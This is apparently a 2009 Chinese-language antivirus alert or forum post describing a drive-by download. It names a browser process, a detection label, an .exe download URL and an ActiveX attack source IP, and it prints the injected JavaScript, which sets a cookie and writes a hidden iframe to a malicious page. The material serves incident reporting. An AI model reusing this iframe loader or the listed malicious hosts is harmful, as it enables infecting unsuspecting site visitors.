8/25/2009 2:24:00 AM
访问地址:http://baidu824.8866.org/5/ecwerwerbbb.htm
访问网页的进程:"D:/Program Files/Maxthon2/Maxthon.exe"
病毒名称:Suspicious.ShellCode.Exploit
病毒来源:http://fuck.ss.la/5.exe
另外还有针对QVOD的ActiveX通道攻击从:60.173.10.163:80----------〉192.168.1.2:3414
很白的说60.173.10.163就是 转向8866.org的地址,里面就是一段js
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 9999000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookiecc1c="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookiecc1c=hhhh;expires="+ Then.toGMTString()
document.writeln("<iframe src=http://baidu824.8866.org/aa/a3a.htm width=123 height=1></iframe>");
}
}Get();